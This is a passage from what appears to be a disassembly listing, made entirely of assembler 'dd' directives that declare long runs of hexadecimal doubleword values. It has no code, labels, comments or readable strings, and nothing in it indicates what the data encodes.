		dd 94A02719h, 0C28833A0h, 0CA0BCDD4h, 3244FAC4h, 4C38C884h
		dd 2E3CD460h, 121276F4h, 0F0281FB7h, 0D460758h,	0C3EA632Ch
		dd 37926F66h, 92173840h, 6008CE50h, 0D4F9BA05h,	8ED6A67h
		dd 29CFC3C2h, 0AED4F448h, 7AD0F449h, 0FE025A09h, 0FF8C817Ch
		dd 9071FD6Dh, 0D428A00h, 98D425F0h, 8A15D0C8h, 9F8031Eh
		dd 0BA67813Dh, 1E42D42Ah, 0A1AAD420h, 5F3FE1B4h, 49285714h
		dd 0C7822F1Ch, 0A46C8ABDh, 8EECE0A6h, 894C3A9Fh, 9814716Ah
		dd 45B939E1h, 92B36C02h, 9940D4h, 0CF7DD6CAh, 0B469111Ah
		dd 43604058h, 0CB9C178h, 708C0426h, 667B63E0h, 0A880CC4Bh
		dd 0EA21F6EFh, 0DEE512A5h, 7698C7A6h, 1F3BB8A8h, 3E6BFFD6h
		dd 0ADE840E0h, 0E712E58h, 47BC26A6h, 0FB11B095h, 77009D18h
		dd 1EFE39E0h, 50455614h, 13E016h, 0AFBC04E2h, 6E2A61F8h
		dd 65D27C14h, 374300E8h, 495BC36Fh, 6ADC012Bh, 0D4786974h
		dd 6B402473h, 2F152910h, 0B2D83412h, 816289ECh,	5FEF978Dh
		dd 24295E60h, 683A85h, 589DCC6Ch, 4324E9FFh, 310325DBh
		dd 99932Ah, 78E37620h
		dd 8FF3AC80h, 27DD6C00h, 67A1F521h, 942F2E33h, 0D5690198h
		dd 0DC2EFB28h, 24900846h, 903C602Eh, 0D8E88B27h, 0F4852084h
		dd 48EA4340h, 45023423h, 7E03DF68h, 0D7B60860h,	0ECF22B01h
		dd 35D44817h, 1855D450h, 4F80B687h, 40244AA6h, 0E4B0E895h
		dd 68129FE3h, 5CD2A0CBh, 9C4E87Eh, 888E1CC7h, 62C299Eh
		dd 501C08D4h, 197D4300h, 0DF29F142h, 40BB5EA4h,	0B504615Ch
		dd 2165E198h, 44B291C0h, 5A8F5D00h, 0A0258018h,	5E4B0A1Eh
		dd 780D81CCh, 0AC6D0090h, 17088CB8h, 1401BD42h,	725E58A5h
		dd 136B1231h, 0DAE8C8D4h, 0B6602297h, 93E853A7h, 104C58Ch
		dd 43C03610h, 7FA030F8h, 0CF0D8307h, 15B4D44Bh,	97E064F0h
		dd 0CED1E4E8h, 20212F1Eh, 0FBDD6FC0h, 67C67Ch, 0FCD36A91h
		dd 19D4C5C9h, 3C365Dh, 445EE2D9h, 3F1DEDh, 0D7D29160h
		dd 0D459C910h, 0BC90994Bh, 41BD1Eh, 0D0AA8418h,	0BC891B9h
		dd 0ECBEC700h, 4B21DEACh, 4CD7CE5h, 4F936DCFh, 3A40C033h
		dd 7B3ED0E8h, 319C5811h, 253113Bh, 0D12C1443h, 0BAE52029h
		dd 0F0A05824h, 54505DD2h, 5B690F78h, 5DE93DB5h,	0D47FF021h
		dd 14167A57h, 48764C04h, 0ED75041Eh, 0D020831Ah, 607713F1h
		dd 0A44008F4h, 2BD30BD1h, 0EC01F0E1h, 0DDFF54ECh, 145BCC97h
		dd 272A0C0Ch, 9347865h,	320411F6h, 0D418B020h, 3896F5A6h
		dd 529D20Fh, 3C90922Fh,	3D1E26ACh, 70AF7965h, 6284CC8Ah
		dd 31042476h, 1982B4A9h, 4D0037D3h, 1BB7F432h, 804731C6h
		dd 0D47090F4h, 949AB438h, 0D949D262h, 7B5C58D7h, 67BB344Ch
		dd 0B874D520h, 2AEA268h, 34F811A6h, 396BF60h, 0C4C09368h
		dd 0A0C9BAC2h, 794050A4h, 1B590A5h, 99915A12h, 0D229DAD3h
		dd 4804187Ch, 0FCC232D7h, 0E810095Bh, 1C0084F8h, 0BA6081Eh
		dd 13EE3A1Fh, 29E25ADh,	0BA12DE92h, 21093C53h, 17881105h
		dd 8C063A0Dh, 2D28D024h, 0E4612061h, 0BE07881h,	0A4E6E292h
		dd 0A0F0BCE8h, 63E51B2Ch, 460B20C7h, 52B9FE7Dh,	9DA89BF8h
		dd 7530B86Dh, 0D0180238h, 0EC40CE00h, 8DD4441Bh, 45749686h
		dd 0C2480419h, 70F11687h, 78F515E0h, 305E7B0Eh,	0F7905008h
		dd 2E01AC98h, 44EC0D95h, 5020CFCAh, 4BB340B1h, 11D57C04h
		dd 0B4E2425Fh, 0A0CF1913h, 0B41662A8h, 0CCC939CCh, 1F1C323Eh
		dd 0A01C6468h, 92A02654h, 0E384A31Eh, 286214CDh, 35B0C36h
		dd 0EC2019A8h, 3A81004h, 0ACF0C0AFh, 0CE0B5A0h,	29F76EDh
		dd 3791660h, 3AA0E2CCh,	0E6027CD1h, 675D4180h, 0A246081h
		dd 95A41FF1h, 95812EEh,	0C4011750h, 304D3514h, 8A706582h
		dd 2031D116h, 99CFD11h,	60BC18FCh, 0C9D5171Ch, 987957F0h
		dd 807E2EBEh, 5F97C780h, 2C84AD8Eh, 3A14E40Bh, 1FE1DCB5h
		dd 4C6BDC38h, 0CDB8E289h, 725DE702h, 0A0256129h, 849EBC9Ch
		dd 0A1280BDAh, 0E451E4FDh, 0BF2866A7h, 0BFE1B007h, 40D0A722h
		dd 0BE1908C8h, 0AC462918h, 12D3AD10h, 97966FAh,	90C087B7h
		dd 2525D455h, 0F09C649Ch, 0D0324FADh, 2082F6A0h, 0A011A828h
		dd 0C5531212h, 0F402B057h, 2C5052AAh, 0CD0DC910h, 0A877B8D4h
		dd 58555A42h, 0FAE8C0ECh, 0CA8B19D9h, 6100A4B0h, 142BF4B7h
		dd 982C5009h, 6812058h,	0C10564Dh, 40C44329h, 0C2B83CADh
		dd 70B48718h, 337FEC8Ch, 6D60CCBEh, 585D0D68h, 2C070CCAh
		dd 7DC729F2h, 0AA903440h, 440D04B4h, 8C4110B2h,	0BD04B084h
		dd 0E7D80FA0h, 0DDF0D9EFh, 0B71C006Bh, 61F7C332h, 1B2DB4F2h
		dd 26084546h, 0D04A13B8h, 39554898h, 2805A48h, 16D38779h
		dd 0D1838A2Fh, 47A66203h, 37287BAh, 80B07677h, 239EAB5Ah
		dd 175D712Ah, 0E062A208h, 9C7788h, 31ACDA4Ah, 0D06520A3h
		dd 3A6F9102h, 0C0F08F96h, 7F362658h, 97F72C52h,	0EAEF0068h
		dd 4729B551h, 0BA0A65Dh, 0E04511DFh, 0F4905E48h, 91A800C5h
		dd 4F39CA71h, 6109022Ch, 20C9B9D4h, 7A66C584h, 137C9101h
		dd 831CCC80h, 5B288C60h, 2CDB3849h, 0ACC66Bh, 8FC2D034h
		dd 8295CED4h, 0C0FE3A28h, 0B231AF4Ch, 0D50212E8h, 5F60C0A4h
		dd 855A296Ah, 6095A8C2h, 0B52E5E90h, 0D4820C8Eh, 0C4689354h
		dd 7A019E01h, 0DAB44D6Fh, 0C221333h, 20C05C78h,	5E1C7800h
		dd 16FCF6F9h, 58AF2A19h, 8832DE58h, 78971C18h, 0BC2501B5h
		dd 2730EC29h, 84E04BE4h, 3640B1D4h, 2FB22F92h, 634E60E6h
		dd 610AD446h, 0C2491E60h, 0AB1316CCh, 0D3946000h, 10C79165h
		dd 95564A1h, 592D199Bh,	30A42FF0h, 92CC01B7h, 5997E9CBh
		dd 18344E19h, 0E066CEE3h, 68920DD8h, 73FE8A07h,	0A0F9148Ch
		dd 0D4566B54h, 90CC5EE1h, 0F8E2D008h, 55EDA213h, 9CF38016h
		dd 2A1A1B74h, 29E05ABBh, 81FD73Bh, 32C1EA7Eh, 6EB7D4C4h
		dd 0D7A5A893h, 0A2354378h, 0F594E801h, 1AC3AA61h, 29A4212Fh
		dd 1D83CC5h, 5167FDFEh,	8C306A54h, 0C03500E3h, 0B2D06C0Dh
		dd 3C967685h, 0CFF8803Dh, 16ACE854h, 4A0C004Eh,	60CE126Eh
		dd 2E0F203Ah, 0E0BED838h, 0C584B8D0h, 0EDD90B03h, 0CC5079D4h
		dd 33AD8206h, 306655h, 16E31D27h, 0D1B2CA6Ch, 0C8B0CE5Bh
		dd 1FEFFEC5h, 7F2AC6Bh,	0C01FB380h, 356381F8h, 2082984Bh
		dd 0F6B6C2C3h, 26FA80FCh, 5EF1FC25h, 68651601h,	39CBB458h
		dd 0AA070473h, 0A9C79ED3h, 190EE8D9h, 531750DDh, 0CE9204B4h
		dd 3430AAE2h, 27D460F7h, 0ECC4C96Dh, 81782EF0h,	10BCA0B6h
		dd 95001718h, 0AA3C67ADh, 0D70F7C6Ch, 245C1165h, 0FC242A3Ah
		dd 51648930h, 3C4AA7ACh, 985C1409h, 29EEF08h, 0BCE8AA50h
		dd 9F6F3C54h, 722C02A7h, 0F91460CDh, 38265C23h,	6EEA4700h
		dd 0A0F2F43Ah, 9468A312h, 554FD401h, 9838C46Dh,	8434BC92h
		dd 0AE05C1D6h, 1ECC2E0h, 8AD7300Ch, 0BF7B50F0h,	1BA6580h
		dd 77E8ACCDh, 3E2896AAh, 0E420CC29h, 688A41C6h,	0DEECC0B4h
		dd 121F4658h, 0B9D9AA87h, 69508448h, 0C3C3511Bh, 239E101h
		dd 7B2F6365h, 0D42826EDh, 5E88D15Eh, 28647408h,	0ED3083EFh
		dd 16018CE2h, 30CD1F5Ch, 1CF9AD38h, 2C8A9D0Ah, 0B39D4D5h
		dd 0C415A055h, 935D0094h, 0B5CB250Ah, 4F37D45Ah, 9930A083h
		dd 72016B47h, 0CF490F1h, 2C6C91E9h, 0A04ACC1h, 720D5B63h
		dd 2B00D0A9h, 7FBF8289h, 6890128Fh, 0F3FF2D03h,	0C958EE38h
		dd 0C07830CDh, 0D610D501h, 0F0657D89h, 239F1AB3h, 1816A54h
		dd 2A02143Ch, 20B9FD11h, 6401DA14h, 0C56AD291h,	3E4F8D3h
		dd 840EF92h, 975C3ED4h,	6E8084C8h, 0AC148901h, 971EE1D2h
		dd 41B812F8h, 7A1C35AAh, 0EDFC5402h, 3060F662h,	2B9F1919h
		dd 0F43C9A95h, 35A72458h, 2724E360h, 0D9400B60h, 78D4418Ch
		dd 0D8287A77h, 5E54B831h, 0FD5C8DCCh, 98036E65h, 0C19EEEAAh
		dd 30892E1Dh, 94EB21B2h, 55E50AC0h, 126D5D27h, 8608F9F4h
		dd 38196729h, 0CACF200h, 88772F71h, 66650169h, 6EE3A59Eh
		dd 0D4A870DAh, 645CDB5Ah, 82238C02h, 88988069h,	91A48FDh
		dd 2CDEF9A1h, 5D24E8D8h, 22A58825h, 76F23028h, 839262DCh
		dd 823CF829h, 41F499C4h, 40F2C024h, 690A659Fh, 9029D2D1h
		dd 90B958h, 8D9EC937h, 6A9161F6h, 49B39800h, 0F1435D30h
		dd 0A48E1D36h, 3128C0F7h, 0BA7532BBh, 0FCE60309h, 501076E1h
		dd 7F01ED7Bh, 79D37CEEh, 63C52C83h, 44AB8D3h, 0A9BD00EFh
		dd 0DC75659Eh, 887D421Eh, 25A6DE18h, 7F20C628h,	11280108h
		dd 0DFEF06BDh, 0FC30B9B1h, 0D0FBC8F2h, 0B458CA31h, 593DB9h
		dd 0AB4ABCF8h, 0C0119DE8h
		dd 62271870h, 0CE3B06C1h, 288E1FC9h, 0AB50E0FAh, 199DCFh
		dd 9A10CB3Dh, 83B92C90h, 18DE753Ch, 4B38C63Ch, 0BE381E93h
		dd 91D3C645h, 47035837h, 0CED550D9h, 0E02790D0h, 0AB253A1Bh
		dd 0C2807939h, 62756906h, 0A0405011h, 20A50158h, 31464DBDh
		dd 98F0BE4Ah, 91A19711h, 0B92E3066h, 61EEA9B8h,	6049D318h
		dd 0CAD1310h, 96AB3465h, 9A0E3308h, 0A7627D23h,	0DEF3880Ah
		dd 202C9841h, 27F2000Eh, 53D32A1Eh, 0BD60EEE4h,	50C7AC21h
		dd 0F6775ECh, 5D54F4F5h, 0A6B360B8h, 1DF96500h,	0FC521B39h
		dd 0C0BA50EBh, 91633018h, 0FB7690C0h, 3143A218h, 10ACD2E8h
		dd 810FF7Ah, 2279AA92h,	424128CCh, 10F094h, 2A1F6465h
		dd 0D1B36088h, 59A72D00h, 3AC1BD1Dh, 0D3280C1Ah, 0E0309452h
		dd 0EB252300h, 0BAAB0FFFh, 0FEE764Fh, 0DEF3D801h, 803F0C2Eh
		dd 6B910D87h, 1F068C2Dh, 4ED4D34Bh, 0F7650740h,	17B74ABBh
		dd 0AE924170h, 3A31E03Eh, 74198867h, 0D38D69C0h, 90E051E3h
		dd 0B141D098h, 550D828h, 0D31815C4h, 2E182FD6h,	0EBAB00D9h
		dd 1679506Fh, 0D8FEFEF0h, 62A08150h, 2904391Bh,	81EAC540h
		dd 2038C61Eh, 9074C860h, 7F884C53h, 63C7D35Ch, 0C0AA6A10h
		dd 0F6829F64h, 50666267h, 4886DDABh, 181040C6h,	0A7071F4Ch
		dd 22BD28B2h, 88605D56h, 3503E437h, 14D3A634h, 20380D5Eh
		dd 0EC9128D1h, 2C92D75Dh, 0E065B601h, 7B61ECFDh, 0DC329820h
		dd 8862C4A8h, 18C893B3h, 0D38B6012h, 0FA99409h,	410206A8h
		dd 54170970h, 0B023653Eh, 0D9283110h, 2B01A46Eh, 288F143Fh
		dd 30BAA9B3h, 33587C48h, 36FCFB02h, 0D044D0ABh,	0C3848h
		dd 0DA25581h, 11F395Dh,	9F951B4Eh, 80C843D4h, 0A8578228h
		dd 18693DECh, 586D0628h, 0F437D318h, 0AA57F130h, 0D919D9E3h
		dd 0C1009075h, 0B10061EDh, 0D0C2BD30h, 0C35A3828h, 5460FDE8h
		dd 0D3B890C4h, 48C291CAh, 826B9068h, 46F9AB0Ch,	7CD7770Ch
		dd 9E491B8h, 0CC0FC1DBh, 803763A4h, 308060E8h, 25098090h
		dd 0A0E41229h, 6D4DF534h, 39400F3Eh, 28A06023h,	9DCD6B4Bh
		dd 41719000h, 0AB4CBB8Ch, 7D950EFBh, 343C060h, 40879E1Eh
		dd 0EAAC8D59h, 70981B75h, 80ADEF00h, 1CE00220h,	445E0034h
		dd 8D508F8Eh, 7E05CA90h, 761BD5D2h, 74CC3487h, 0A0EA4814h
		dd 69569E00h, 29E52868h, 2BE3E8C0h, 9995D09h, 0B1478518h
		dd 24C20C06h, 3451F9F3h, 0B818D100h, 1BA87EECh,	0F78E1FBAh
		dd 40013F63h, 33EB7077h, 0EAA083E7h, 0E067937Bh, 13DF01D1h
		dd 6065D6B5h, 0D407A0CCh, 0EA0BA49h, 20AC705Eh,	6EEFC0CAh
		dd 41FF02ECh, 1BF9F2BEh, 98A26560h, 0E1D839C4h,	4C86484h
		dd 0B83054EFh, 0D03163B3h, 6E9959E2h, 0F6B88B52h, 0B60005Eh
		dd 78CDF799h, 78B54C68h, 24106C54h, 82C62BBh, 30067E5h
		dd 488B7E2Ch, 36091FABh, 0E0CA403Eh, 50D5D3CBh,	0DF2889C4h
		dd 0B94A445Fh, 0B4E8D745h, 82C90995h, 440E42A0h, 8BD4920h
		dd 5826544Dh, 93E90830h, 50AD4600h, 75AC746Dh, 27B6003h
		dd 825C66BFh, 0C547602h, 858343D3h, 0A4212798h,	619245DCh
		dd 183C03C6h, 8040BC0Ch, 250029D2h, 62E38B6Eh, 1170152h
		dd 2B669EC0h, 0EF9128E8h, 0BC8F056h, 20BE6518h,	0B1085048h
		dd 0C830ED5h, 0C4D84C67h, 90916890h, 109C6414h,	0A512403Ah
		dd 178C0010h, 194FAC7Fh, 24E03102h, 6416AB28h, 69B48180h
		dd 0C0460102h, 7D3BCF20h, 91E8A07Fh, 28EC59BFh,	8D135048h
		dd 1C754Fh, 3C6784B8h, 0D6F8718Fh, 0AC584800h, 182AD4D0h
		dd 404F64F8h, 30320CEEh, 0E8DE48ABh, 0CB460F93h, 0A99431D3h
		dd 787430D3h, 5C990578h, 9F13983Fh, 9B10B1B0h, 32D38624h
		dd 0D6E95053h, 0C4543099h, 0E1DAB703h, 1B544830h, 429060h
		dd 8D5AB80h, 181CB10Bh,	0A4EEC826h, 3411BC92h, 28620488h
		dd 1C84BE96h, 3EB5872h,	0A0544B7Fh, 5419592Ch, 8579722Bh
		dd 5806A190h, 0B6A2060h, 1BBBA968h, 1F8D1021h, 5078370Eh
		dd 4AE86418h, 1300157Ch, 887E45E3h, 133EC990h, 3858C82h
		dd 4EE00158h, 0C33C18DEh, 0E22A097h, 1BF7A111h,	0C4D36382h
		dd 0AEDC78C8h, 0BF0F4390h, 0A7E48F4Eh, 20332627h, 8E200064h
		dd 0D84963A9h, 0AB00DD2Dh, 0D680C317h, 1B6D909Fh, 60F86421h
		dd 1431CFE0h, 0E075F1E7h, 0EE662D8Bh, 26E12CCAh, 40C0FA28h
		dd 1DEC02BAh, 310C10Eh,	690B9F77h, 45B70395h, 78F04938h
		dd 0F901C84Ch, 0AB3CC861h, 1F9238BDh, 2ED2926Dh, 58EC4854h
		dd 598807B0h, 6140122Fh, 0D2D50B11h, 90140621h,	9C908985h
		dd 55F6509h, 0D64C83E5h, 582900D9h, 44E64308h, 2818AC1Eh
		dd 0EDB1CF98h, 363D03B4h, 9A1F10C4h, 0B3563002h, 0E40738C9h
		dd 50D37934h, 0B863DC3Ah, 16DE0EDCh, 497F6AADh,	38107C9Eh
		dd 157074A0h, 10E3340Ah, 7BA8041h, 0AB6C636Dh, 0E83C6243h
		dd 980A13D3h, 0C0D8AC50h, 0D32338F1h, 0FC926C3Fh, 8EBE9217h
		dd 8718F830h, 8BE78315h, 56312890h, 8CDC0626h, 976308h
		dd 9FB9FD57h, 130A3F01h, 0A0346585h, 7D4608h, 5F42FFACh
		dd 0D349933Ch, 3928775Ch, 2B247C02h, 142084E3h,	0F2B3E113h
		dd 283A1C4Dh, 0D7E830h,	0F138C1BDh, 54C75EEBh, 0FBBBAB0Fh
		dd 0C93F60F3h, 26D3E3FEh, 403C7A6Ch, 83635328h,	0E22F1F00h
		dd 65BAC6Eh, 0C58C1E3Ch, 582300CAh, 95A4323Ah, 0AF1EBC00h
		dd 0D4ACFAE3h, 66A700C8h, 979B15E4h, 421D705Ch,	1C00A46Bh
		dd 0A332496Dh, 5A6400EDh, 3074F951h, 0B308618h,	0C5D56813h
		dd 0B03803C7h, 0DDBC5B1Ah, 23D840ABh, 8505B37Ch, 6EE19D17h
		dd 435BE2C0h, 3AE0013Fh, 4C8A8DD5h, 8F53E1E4h, 86EF28h
		dd 4170E390h, 17D5006Bh, 4A7362F2h, 653CEDA8h, 23D9800Ah
		dd 11381FB0h, 7C77CA0h,	0D1AB3E85h, 8D326349h, 4C81E000h
		dd 0BF02F238h, 0D625288Ch, 48C20080h, 3AE679E7h, 94A013EAh
		dd 0EE00A561h, 98D657A7h, 0F8235ABCh, 0E8D500B3h, 3445290Eh
		dd 6B0005FBh, 4ADDB6DCh, 15E573A6h, 0B4143506h,	3FA64B3Bh
		dd 98F20048h, 3724B827h, 3AE1D606h, 268ADAEh, 0E84FEAEDh
		dd 0D4827E6Eh, 80834328h, 0A4A07A90h, 0C3330B4Eh, 0F398A8A3h
		dd 5B883831h, 71E2F7D0h, 62F30C7Eh, 0A4397AA9h,	12B29900h
		dd 23BA11E6h, 0E568C028h, 6F8F5347h, 850640DEh,	18A801B1h
		dd 7030708Ch, 4A00EDB8h, 5AA824BEh, 0F1D4980Fh,	6B45AD00h
		dd 303AE80Dh, 78E0400Ch, 0F756F0EAh, 23341080h,	0A63EB26Eh
		dd 85E59B06h, 50908B6Bh, 40FFACDAh, 0B9743849h,	0D7E31707h
		dd 0D6903BB0h, 1D97BC0Fh, 0B3A39859h, 3CB06370h, 140022E9h
		dd 7B4D9AA4h, 462E02Ah,	2E4E4080h, 0E6D7800Ah, 1A0372EDh
		dd 30EC426Dh, 95C79748h, 888C3DC0h, 0B09CA0F7h,	0F2670020h
		dd 8EEDEF59h, 0C002CBFEh, 0EE515837h, 98088166h, 808764B4h
		dd 597239AAh, 74A4D400h, 0BC1284BBh, 0A401605Fh, 0D44B0DB8h
		dd 1E63AD0h, 955AE86Ah,	0F0158ADAh, 2529B0D8h, 0B51EB46Bh
		dd 0D70B00A0h, 98FE4914h, 0D8A08631h, 0AB00AD62h, 0D50C080Fh
		dd 74AFDB0h, 1B9EE032h,	582480DAh, 0D00BFCD4h, 856A7234h
		dd 0E840DEC8h, 0FA895317h, 0D8625CE7h, 0AFE65A00h, 0B810DDD4h
		dd 0C443E3Eh, 30E98F3Ah, 98DE0D33h, 0EE98F5CBh,	896D5080h
		dd 0D14CB6ECh, 209410h,	0F4D96F4Eh, 81D4FE3Ah, 3C844021h
		dd 3BFEEC5Fh, 0C219876Fh, 480633A2h, 0C16AE7D8h, 310B3D59h
		dd 0D65C24CCh, 0EB72840h
		dd 0AF530F97h, 2E825880h, 70160EEh, 98F3F5F6h, 28801FBEh
		dd 8FBC3DACh, 0D47C20E1h, 98B94628h, 1A66E0C0h,	308C5857h
		dd 1160EA37h, 3F1F6359h, 90A43C17h, 0E0E210B2h,	6F72A467h
		dd 3B8328E5h, 0A01D467Ah, 6C3AE08h, 143387EEh, 0C0B823F8h
		dd 0F5848C0Ch, 5A01EB10h, 0BFC73F6Bh, 5C802041h, 0AF442687h
		dd 2A4CDB24h, 9CA87508h, 0AA07774Ch, 0FF318BADh, 25590B20h
		dd 98603CE6h, 8D80C177h, 420FFD8Ch, 8C8A5284h, 7B6487F4h
		dd 3B77823Fh, 48848049h, 2B0CA2C8h, 0B0AC3306h,	1E832007h
		dd 0B418A0F1h, 9900E07Bh, 8D62E5F5h, 3E203F6h, 3A5D721Ch
		dd 482C31C2h, 2507EBDEh, 4F84DB09h, 4C97D880h, 0C478C45Bh
		dd 51BA0270h, 70E507EFh, 0BC03B53h, 0F0E310CAh,	271FC41Dh
		dd 9D06B203h, 0A1897C0Ah, 0E6F11FA4h, 69A00A05h, 0DED20160h
		dd 600BB388h, 0D501D08Fh, 8C5A07D1h, 48305B3Dh,	903A26DEh
		dd 235F4588h, 6FE170C8h, 0EADCC82Eh, 285D0326h,	12220B06h
		dd 0F5B82838h, 80B171D8h, 10C4E5B2h, 0B700A143h, 9A633554h
		dd 8A1DEEF8h, 0A2953B32h, 48B68C34h, 147348A4h,	0C05458C4h
		dd 0AD8C34A8h, 0E9D44250h, 25806003h, 1EFAE798h, 972E6E9h
		dd 0AC202D0Bh, 0B206E8B1h, 0EC8B5D0Eh, 17283Ah,	22E55045h
		dd 0B0002B8Ah, 5CCAD826h, 602D85FAh, 0DDBE8851h, 0ED4C76CCh
		dd 53120058h, 5945F567h, 0EBA801E6h, 413B3389h,	61C19026h
		dd 4C203094h, 2C848B00h, 0D385AACFh, 0AE20CB4Dh, 43EEF805h
		dd 0EB769878h, 546D3126h, 8E047h, 861DB7D3h, 28B28058h
		dd 3403F6F4h, 0BB3AE5F3h, 718139A5h, 3839EE87h,	4A51C2DFh
		dd 31821C49h, 230225Ch,	653362EBh, 0FA344053h, 69AD8048h
		dd 5D131B00h, 0D1EB2024h, 98EE0A9Ah, 88C05503h,	90025318h
		dd 406F2BF2h, 17E6275Ch, 1298974Ah, 80A040C8h, 5A9A25D7h
		dd 0A8F04C73h, 3ED808A0h, 344B0E16h, 375CC401h,	8465AE53h
		dd 2E79DC42h, 0E617B8A2h, 4DAAD080h, 0B5902B0Ah, 0D6201864h
		dd 58246488h, 0AE26F8F3h, 3E860678h, 7A3C1808h,	24045C03h
		dd 0AE1240BAh, 0E760880Eh, 29D7B377h, 0EC941919h, 0B040E312h
		dd 17F0AB61h, 143CB759h, 1894735Bh, 22E0B832h, 6C255C85h
		dd 37DF7801h, 205445F8h, 3C00A6F4h, 64682658h, 2885E498h
		dd 59985ED8h, 68340D9h,	813B2197h, 33D18743h, 8C27DB1Dh
		dd 6C803BD4h, 0C260FC9h, 9D12E2E1h, 0CB1D1740h,	0EE0027E5h
		dd 75B77F8Dh, 323006F0h, 504F2A86h, 58883414h, 70AE30ECh
		dd 4CB06872h, 3C9D88D3h, 4B20185Ch, 0B1BC5D50h,	0F486E52Eh
		dd 1891F30Dh, 38D9420h,	9830EAB9h, 0F8008084h, 0F65C85ADh
		dd 0D16EE1h, 1A78EE4h, 67D0F5EEh, 7AA11105h, 0E80B9934h
		dd 0D9BC2076h, 488F5ADFh, 0C29F7420h, 0AC8C6B21h, 89DFE048h
		dd 3E168CA4h, 7C07E7DDh, 3FA00821h, 0ECAD94A4h,	22F41FACh
		dd 69093782h, 0E93AD800h, 0ED00B41Dh, 0AD441488h, 3B5839h
		dd 62602432h, 0B3167EAEh, 0B47A7728h, 8028354Dh, 0B21FAE61h
		dd 51091DDh, 9B5C86h, 0A97444D8h, 3D03BA37h, 303301EFh
		dd 9CA4904Fh, 63680150h, 0C9D0B446h, 345BF0FEh,	663A8409h
		dd 0C1944285h, 0BC27B504h, 7E9C0C98h, 0C19E3A07h, 54536744h
		dd 0D940047Bh, 0C0574F0Dh, 0EEE69494h, 0FA397002h, 68AA8C83h
		dd 5AECACh, 0BDB0DCA5h,	9FA41F4Ah, 58305074h, 87DD10B6h
		dd 49E502FAh, 20A585E6h, 0C6D6C080h, 0DF0C465Bh, 71923B25h
		dd 0A98C0E3Eh, 0BD20FFFDh, 60C80F3Dh, 4D5F730h,	0E1348DE9h
		dd 392C33C0h, 1F738B24h, 8CBAB551h, 581C690Ah, 0E2EA8103h
		dd 0B056A96Bh, 62DE4C2h, 24E92AC6h, 5F1F2455h, 7C7B850h
		dd 8FC30D6Bh, 5C180730h, 9304EC83h, 121B8734h, 9952C629h
		dd 0AAFCCC11h, 5EF30689h, 0A8E862E9h, 246634F0h, 0F10F55Ch
		dd 15AD029h, 9D5C14F9h,	0E3838146h, 0D927D1A4h,	2A80EBA2h
		dd 0FBA525Fh, 5B00C946h, 815AD609h, 47AC6EEh, 18E93715h
		dd 0D2BE00F6h, 0E475293Bh, 5A7EC5F5h, 3C854C43h, 0C748966h
		dd 811BE1E6h, 811C04C1h, 640BD55h, 0E45DE901h, 10106376h
		dd 1B6002B8h, 2B4E5432h, 0BF572461h, 66F30F0Ch,	0C7FDF785h
		dd 0A8E9B14Eh, 562E9D46h, 0F73D0C98h, 0F38100DBh, 6C902EF5h
		dd 5B6CD989h, 577C6Bh, 8169C765h, 0FD11C3EDh, 51451E00h
		dd 0D51C6CB9h, 0BE560304h, 8482997h, 15EF198h, 0E959CD06h
		dd 7648F68h, 1F212E05h,	487E264h, 8208FC91h, 70E99C0Ch
		dd 0F5938FCDh, 98317986h, 8F593C1Dh, 259B26BCh,	0C38224FBh
		dd 1A89F2A6h, 0F620B405h, 865C68D4h, 8A5E2819h,	0C4830680h
		dd 8DCC8004h, 507FECE6h, 508BE33Dh, 7B31680Eh, 1C89382Ah
		dd 51EF6A8Ah, 0C9C89DB8h, 1103CD0h, 0BB0047B7h,	3E1C154h
		dd 0F6D1F749h, 9AD3619Ch, 60DEF681h, 13E1447h, 0C920B8F0h
		dd 0B2317669h, 8BDD5782h, 0C4816A8Ah, 2C8743EEh, 0DB66FB19h
		dd 0F43C54Fh, 120C4183h, 18B9E5F4h, 2636EA10h, 9D06FF73h
		dd 4CBCE9C9h, 0EB800A30h, 3B9658F5h, 327F7E72h,	661C8A79h
		dd 0A0A27F88h, 6044FEB9h, 0C2091E84h, 0B1ACE2D1h, 5A685501h
		dd 5D2E341Ch, 1217297h,	59E96048h, 2A9E5632h, 0A7B15107h
		dd 80C3CC88h, 0C468F8E4h, 1423C037h, 0E9DAB624h, 15D08C77h
		dd 2B2878D2h, 5EFC7AD2h, 0E86C3129h, 0DA1EE986h, 348B2920h
		dd 0FC252ADCh, 1CFA6C9Fh, 15553AA6h, 0E9E0CC47h, 20F4C134h
		dd 2246AE04h, 41DA0AD2h, 0D820D573h, 63C3AEC5h,	520F978Bh
		dd 0F3511624h, 556B9403h, 48D5E16Dh, 9E20924h, 18B077F2h
		dd 442E5981h, 0D101C410h, 0E8875A24h, 82C15C09h, 88EC816Dh
		dd 0E0B3BA33h, 34112031h, 445D8524h, 3E8C8166h,	43036020h
		dd 86E9505Eh, 5A1222A6h, 0FF20BB53h, 665BD801h,	631F433h
		dd 4CB323EDh, 0F6600B3h, 3468CCB6h, 3C64D217h, 0EB28E937h
		dd 74E497F9h, 5E2A247Ch, 37D4268Fh, 304735C6h, 14206164h
		dd 932C6C68h, 0FC090CAAh, 49004156h, 0AC40F181h, 9829C0CFh
		dd 2D69A016h, 6CF83F5Ah, 7C2FF580h, 510534A4h, 6F4D2E7Eh
		dd 357B10C7h, 65504F41h, 98E68956h, 0ED98A6F1h,	0E9033402h
		dd 3197789h, 0C2885205h, 0C7A4D2F6h, 53E020F4h,	0FE484CB3h
		dd 75EB1C97h, 1151F3CDh, 79E9F4D4h, 28C0CF06h, 1EA75AAAh
		dd 22322CC0h, 33670DD4h, 0DF1420D3h, 57580701h,	0C781E789h
		dd 0A50A4D45h, 8A8CB653h, 90310A06h, 0EAC11347h, 51CE0E05h
		dd 68D560F2h, 35C44ADAh, 63194131h, 53C8438Bh, 24E0A7E1h
		dd 6791EAA1h, 5C2AB9A8h, 6818CE54h, 32492A02h, 26DBA62Fh
		dd 42C6D25Ch, 6801CAAAh, 0A72751EEh, 1653FC48h,	9384C724h
		dd 495125Fh, 1E0B15F9h,	54CCF91Dh, 3F530E4Dh, 0AFACE389h
		dd 0D38887D2h, 0D4DA8252h, 0FA00A3CAh, 20FA1536h, 0DFEE0132h
		dd 60F54A5Dh, 625BC744h, 91FB643Eh, 3F00000Bh, 1632271Ch
		dd 8E0C1h, 813A8545h, 0EC4DE96Bh, 24460CBh, 0F80CEFEh
		dd 722CA6F6h, 228F22E5h, 0B49087A4h, 0D19357E0h, 9A12AD09h
		dd 0E4C18454h, 0B1549093h, 1E90650Eh, 0E821098Bh, 8DA0885Dh
		dd 55324F10h, 8BAC4328h, 59F451CFh, 0A6C05668h,	81D85D4Fh
